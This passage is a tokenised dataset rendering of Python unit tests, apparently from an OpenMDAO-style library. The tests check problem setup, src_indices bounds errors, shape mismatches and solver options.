")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Implicit", "_", "\\u\\u\\uNL\\u\\u\\u_", "prob_", "=_", "Problem_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "prob_", "._", "root_", "=_", "Group_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "prob_", "._", "root_", "._", "ln", "\\u", "solver_", "=_", "Sci", "py", "GM", "RES", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "prob_", "._", "root_", "._", "add_", "(_", "'", "A", "'_", ",_", "A_", "(_", ")_", ",_", "promote", "s_", "=_", "[_", "'", "y", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "prob_", "._", "root_", "._", "add_", "(_", "'", "D", "'_", ",_", "D_", "(_", ")_", ",_", "promote", "s_", "=_", "[_", "'", "y", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "stream_", "=_", "c", "String", "IO_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "checks_", "=_", "prob_", "._", "setup_", "(_", "out", "\\u", "stream_", "=_", "stream_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "checks_", "[_", "'", "no", "\\u", "unknown", "\\u", "comps", "'_", "]_", ",_", "[_", "'", "D", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "checks_", "[_", "'", "recorde", "rs", "'_", "]_", ",_", "[_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "content_", "=_", "stream_", "._", "getvalue_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "\"", "The", " ", "follow", "ing", " ", "component", "s", " ", "have", " ", "no", " ", "unknown", "s", ":\\\\", "n", "D", "\\\\", "n", "\"_", "in_", "content_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "\"", "No", " ", "recorde", "rs", " ", "have", " ", "bee", "n", " ", "specified", ",", " ", "so", " ", "no", " ", "data", " ", "will", " ", "be", " ", "saved", ".\"_", "in_", "content_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Exp", "licit", "_", "\\u\\u\\uNL\\u\\u\\u_", "prob_", "=_", "Problem_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "prob_", "._", "root_", "=_", "Group_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "prob_", "._", "root_", "._", "ln", "\\u", "solver_", "=_", "Sci", "py", "GM", "RES", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "prob_", "._", "root_", "._", "add_", "(_", "'", "C", "'_", ",_", "C_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "prob_", "._", "root_", "._", "add_", "(_", "'", "D", "'_", ",_", "D_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "prob_", "._", "root_", "._", "connect_", "(_", "'", "C", ".", "y", "'_", ",_", "'", "D", ".", "y", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "stream_", "=_", "c", "String", "IO_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "checks_", "=_", "prob_", "._", "setup_", "(_", "out", "\\u", "stream_", "=_", "stream_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "checks_", "[_", "'", "no", "\\u", "unknown", "\\u", "comps", "'_", "]_", ",_", "[_", "'", "D", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "checks_", "[_", "'", "recorde", "rs", "'_", "]_", ",_", "[_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "content_", "=_", "stream_", "._", "getvalue_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "\"", "The", " ", "follow", "ing", " ", "component", "s", " ", "have", " ", "no", " ", "unknown", "s", ":\\\\", "n", "D", "\\\\", "n", "\"_", "in_", "content_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "\"", "No", " ", "recorde", "rs", " ", "have", " ", "bee", "n", " ", "specified", ",", " ", "so", " ", "no", " ", "data", " ", "will", " ", "be", " ", "saved", ".\"_", "in_", "content_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Implicit", "_", "\\u\\u\\uNL\\u\\u\\u_", "prob_", "=_", "Problem_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "prob_", "._", "root_", "=_", "Group_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "prob_", "._", "root_", "._", "ln", "\\u", "solver_", "=_", "Sci", "py", "GM", "RES", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "prob_", "._", "root_", "._", "add_", "(_", "'", "C", "'_", ",_", "C_", "(_", ")_", ",_", "promote", "s_", "=_", "[_", "'", "y", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "prob_", "._", "root_", "._", "add_", "(_", "'", "D", "'_", ",_", "D_", "(_", ")_", ",_", "promote", "s_", "=_", "[_", "'", "y", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "stream_", "=_", "c", "String", "IO_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "checks_", "=_", "prob_", "._", "setup_", "(_", "out", "\\u", "stream_", "=_", "stream_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "checks_", "[_", "'", "no", "\\u", "unknown", "\\u", "comps", "'_", "]_", ",_", "[_", "'", "D", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "checks_", "[_", "'", "recorde", "rs", "'_", "]_", ",_", "[_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "content_", "=_", "stream_", "._", "getvalue_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "\"", "The", " ", "follow", "ing", " ", "component", "s", " ", "have", " ", "no", " ", "unknown", "s", ":\\\\", "n", "D", "\\\\", "n", "\"_", "in_", "content_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "\"", "No", " ", "recorde", "rs", " ", "have", " ", "bee", "n", " ", "specified", ",", " ", "so", " ", "no", " ", "data", " ", "will", " ", "be", " ", "saved", ".\"_", "in_", "content_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Problem_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "src", "\\u", "idx", "\\u", "neg_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "class_", "A_", "(_", "Component_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "super_", "(_", "A_", ",_", "self_", ")_", "._", "\\u\\u", "init\\u\\u_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "add", "\\u", "output_", "(_", "'", "y", "'_", ",_", "np_", "._", "zeros_", "(_", "(_", "5_", ",_", ")_", ")_", ",_", "shape_", "=_", "(_", "5_", ",_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "B_", "(_", "Component_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "super_", "(_", "B_", ",_", "self_", ")_", "._", "\\u\\u", "init\\u\\u_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "add", "\\u", "param_", "(_", "'", "x", "'_", ",_", "np_", "._", "zeros_", "(_", "(_", "3_", ",_", ")_", ")_", ",_", "shape_", "=_", "(_", "3_", ",_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "src", "\\u", "indice", "s", " ", "large", "r", " ", "than", " ", "src_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "prob_", "=_", "Problem_", "(_", "root_", "=_", "Group_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "prob_", "._", "root_", "._", "add_", "(_", "\"", "A", "\"_", ",_", "A_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "prob_", "._", "root_", "._", "add_", "(_", "\"", "B", "\"_", ",_", "B_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "prob_", "._", "root_", "._", "connect_", "(_", "\"", "A", ".", "y", "\"_", ",_", "\"", "B", ".", "x", "\"_", ",_", "src", "\\u", "indices_", "=_", "[_", "0_", ",_", "1_", ",_", "-_", "1_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "prob_", "._", "setup_", "(_", "check_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Exception_", "as_", "err_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "True_", "(_", "\"'", "B", ".", "x", "'", " ", "src", "\\u", "indice", "s", " ", "contain", "s", " ", "a", " ", "negati", "ve", " ", "index", " ", "(-", "1", ").\"_", "in_", "str_", "(_", "err_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "fail_", "(_", "\"", "Except", "ion", " ", "expected", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Problem_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "src", "\\u", "idx", "\\u", "gt", "\\u", "src", "\\u", "size_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "class_", "A_", "(_", "Component_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "super_", "(_", "A_", ",_", "self_", ")_", "._", "\\u\\u", "init\\u\\u_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "add", "\\u", "output_", "(_", "'", "y", "'_", ",_", "np_", "._", "zeros_", "(_", "(_", "5_", ",_", ")_", ")_", ",_", "shape_", "=_", "(_", "5_", ",_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "B_", "(_", "Component_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "super_", "(_", "B_", ",_", "self_", ")_", "._", "\\u\\u", "init\\u\\u_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "add", "\\u", "param_", "(_", "'", "x", "'_", ",_", "np_", "._", "zeros_", "(_", "(_", "3_", ",_", ")_", ")_", ",_", "shape_", "=_", "(_", "3_", ",_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "src", "\\u", "indice", "s", " ", "large", "r", " ", "than", " ", "src_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "prob_", "=_", "Problem_", "(_", "root_", "=_", "Group_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "prob_", "._", "root_", "._", "add_", "(_", "\"", "A", "\"_", ",_", "A_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "prob_", "._", "root_", "._", "add_", "(_", "\"", "B", "\"_", ",_", "B_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "prob_", "._", "root_", "._", "connect_", "(_", "\"", "A", ".", "y", "\"_", ",_", "\"", "B", ".", "x", "\"_", ",_", "src", "\\u", "indices_", "=_", "[_", "1_", ",_", "4_", ",_", "5_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "prob_", "._", "setup_", "(_", "check_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Exception_", "as_", "err_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "True_", "(_", "\"'", "B", ".", "x", "'", " ", "src", "\\u", "indice", "s", " ", "contain", "s", " ", "an", " ", "index", " ", "(", "5", ")", " ", "tha", "t", " ", "exceed", "s", " ", "the", " ", "bound", "s", " ", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "of", " ", "source", " ", "variab", "le", " ", "'", "A", ".", "y", "'", " ", "of", " ", "size", " ", "5", ".\"_", "in_", "str_", "(_", "err_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "fail_", "(_", "\"", "Except", "ion", " ", "expected", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Problem_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "scala", "r", "\\u", "sizes_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "class_", "A_", "(_", "Component_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "super_", "(_", "A_", ",_", "self_", ")_", "._", "\\u\\u", "init\\u\\u_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "add", "\\u", "param_", "(_", "'", "x", "'_", ",_", "shape_", "=_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "add", "\\u", "output_", "(_", "'", "y", "'_", ",_", "shape_", "=_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "B_", "(_", "Component_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "super_", "(_", "B_", ",_", "self_", ")_", "._", "\\u\\u", "init\\u\\u_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "add", "\\u", "param_", "(_", "'", "x", "'_", ",_", "shape_", "=_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "add", "\\u", "output_", "(_", "'", "y", "'_", ",_", "shape_", "=_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "C_", "(_", "Component_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "super_", "(_", "C_", ",_", "self_", ")_", "._", "\\u\\u", "init\\u\\u_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "add", "\\u", "param_", "(_", "'", "x", "'_", ",_", "shape_", "=_", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "add", "\\u", "output_", "(_", "'", "y", "'_", ",_", "shape_", "=_", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Scala", "r", " ", "Values_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "prob_", "=_", "Problem_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root_", "=_", "prob_", "._", "root_", "=_", "Group_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root_", "._", "add_", "(_", "'", "X", "'_", ",_", "Inde", "p", "Var", "Comp_", "(_", "'", "x", "'_", ",_", "0._", ",_", "shape_", "=_", "1_", ")_", ",_", "promote", "s_", "=_", "[_", "'", "x", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root_", "._", "add_", "(_", "'", "A1", "'_", ",_", "A_", "(_", ")_", ",_", "promote", "s_", "=_", "[_", "'", "x", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root_", "._", "add_", "(_", "'", "A2", "'_", ",_", "A_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root_", "._", "connect_", "(_", "'", "A1", ".", "y", "'_", ",_", "'", "A2", ".", "x", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "prob_", "._", "setup_", "(_", "check_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Array", " ", "Values_", "\\u\\u\\uNL\\u\\u\\u_", "prob_", "=_", "Problem_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root_", "=_", "prob_", "._", "root_", "=_", "Group_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root_", "._", "add_", "(_", "'", "X", "'_", ",_", "Inde", "p", "Var", "Comp_", "(_", "'", "x", "'_", ",_", "np_", "._", "zeros_", "(_", "2_", ")_", ",_", "shape_", "=_", "2_", ")_", ",_", "promote", "s_", "=_", "[_", "'", "x", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root_", "._", "add_", "(_", "'", "B1", "'_", ",_", "B_", "(_", ")_", ",_", "promote", "s_", "=_", "[_", "'", "x", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root_", "._", "add_", "(_", "'", "B2", "'_", ",_", "B_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root_", "._", "connect_", "(_", "'", "B1", ".", "y", "'_", ",_", "'", "B2", ".", "x", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "prob_", "._", "setup_", "(_", "check_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Mismatch", "ed", " ", "Array", " ", "Values_", "\\u\\u\\uNL\\u\\u\\u_", "prob_", "=_", "Problem_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root_", "=_", "prob_", "._", "root_", "=_", "Group_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root_", "._", "add_", "(_", "'", "X", "'_", ",_", "Inde", "p", "Var", "Comp_", "(_", "'", "x", "'_", ",_", "np_", "._", "zeros_", "(_", "2_", ")_", ",_", "shape_", "=_", "2_", ")_", ",_", "promote", "s_", "=_", "[_", "'", "x", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root_", "._", "add_", "(_", "'", "B1", "'_", ",_", "B_", "(_", ")_", ",_", "promote", "s_", "=_", "[_", "'", "x", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root_", "._", "add_", "(_", "'", "C1", "'_", ",_", "C_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root_", "._", "connect_", "(_", "'", "B1", ".", "y", "'_", ",_", "'", "C1", ".", "x", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "self_", "._", "assert", "Raises_", "(_", "Exception_", ")_", "as_", "cm_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "prob_", "._", "setup_", "(_", "check_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "expected_", "=_", "\"", "Shape", " ", "(", "2", ",)", " ", "of", " ", "source", " ", "'", "B1", ".", "y", "'", " ", "must", " ", "be", " ", "the", " ", "same", " ", "as", " ", "\"_", "\"", "shape", " ", "(", "3", ",)", " ", "of", " ", "target", " ", "'", "C1", ".", "x", "'.\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "expected_", "in_", "str_", "(_", "cm_", "._", "exception_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Mismatch", "ed", " ", "Scala", "r", " ", "to", " ", "Array", " ", "Value_", "\\u\\u\\uNL\\u\\u\\u_", "prob_", "=_", "Problem_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root_", "=_", "prob_", "._", "root_", "=_", "Group_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root_", "._", "add_", "(_", "'", "X", "'_", ",_", "Inde", "p", "Var", "Comp_", "(_", "'", "x", "'_", ",_", "0._", ",_", "shape_", "=_", "1_", ")_", ",_", "promote", "s_", "=_", "[_", "'", "x", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root_", "._", "add_", "(_", "'", "B1", "'_", ",_", "B_", "(_", ")_", ",_", "promote", "s_", "=_", "[_", "'", "x", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "self_", "._", "assert", "Raises_", "(_", "Exception_", ")_", "as_", "cm_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "prob_", "._", "setup_", "(_", "check_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "expected_", "=_", "py3", "fix_", "(_", "\"", "Type", " ", "<", "type", " ", "'", "float", "'>", " ", "of", " ", "source", " ", "'", "X", ".", "x", "'", " ", "(", "x", ")", " ", "must", " ", "be", " ", "the", " ", "same", " ", "as", " ", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "type", " ", "<", "type", " ", "'", "nump", "y", ".", "ndar", "ray", "'>", " ", "of", " ", "target", " ", "'", "B1", ".", "x", "'", " ", "(", "x", ").\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "expected_", ",_", "str_", "(_", "cm_", "._", "exception_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Problem_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "check", "\\u", "parall", "el", "\\u", "deriv", "s_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "prob_", "=_", "Problem_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root_", "=_", "prob_", "._", "root_", "=_", "Group_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "root_", "._", "add_", "(_", "'", "p1", "'_", ",_", "Inde", "p", "Var", "Comp_", "(_", "'", "a", "'_", ",_", "1.0_", ")_", ",_", "promote", "s_", "=_", "[_", "'*'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root_", "._", "add_", "(_", "'", "p2", "'_", ",_", "Inde", "p", "Var", "Comp_", "(_", "'", "b", "'_", ",_", "1.0_", ")_", ",_", "promote", "s_", "=_", "[_", "'*'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sub", "1_", "=_", "root_", "._", "add_", "(_", "'", "sub", "1", "'_", ",_", "Group_", "(_", ")_", ",_", "promote", "s_", "=_", "[_", "'*'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sub", "1_", "._", "ln", "\\u", "solver_", "=_", "Linea", "r", "Gau", "ss", "Sei", "del_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sub", "2_", "=_", "sub", "1_", "._", "add_", "(_", "'", "sub", "2", "'_", ",_", "Group_", "(_", ")_", ",_", "promote", "s_", "=_", "[_", "'*'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sub", "2_", "._", "add_", "(_", "'", "comp", "'_", ",_", "Exe", "c", "Comp_", "(_", "[_", "'", "x", " ", "=", " ", "2.0", "*", "a", " ", "+", " ", "3.0", "*", "b", "'_", ",_", "'", "y", "=", "4.0", "*", "a", " ", "-", " ", "1.0", "*", "b", "'_", "]_", ")_", ",_", "promote", "s_", "=_", "[_", "'*'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sub", "2_", "._", "ln", "\\u", "solver_", "=_", "Linea", "r", "Gau", "ss", "Sei", "del_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "root_", "._", "ln", "\\u", "solver_", "._", "options_", "[_", "'", "mode", "'_", "]_", "=_", "'", "fw", "d", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sub", "1_", "._", "ln", "\\u", "solver_", "._", "options_", "[_", "'", "mode", "'_", "]_", "=_", "'", "fw", "d", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sub", "2_", "._", "ln", "\\u", "solver_", "._", "options_", "[_", "'", "mode", "'_", "]_", "=_", "'", "fw", "d", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "prob_", "._", "setup_", "(_", "check_", "=_", "False_", ")_", 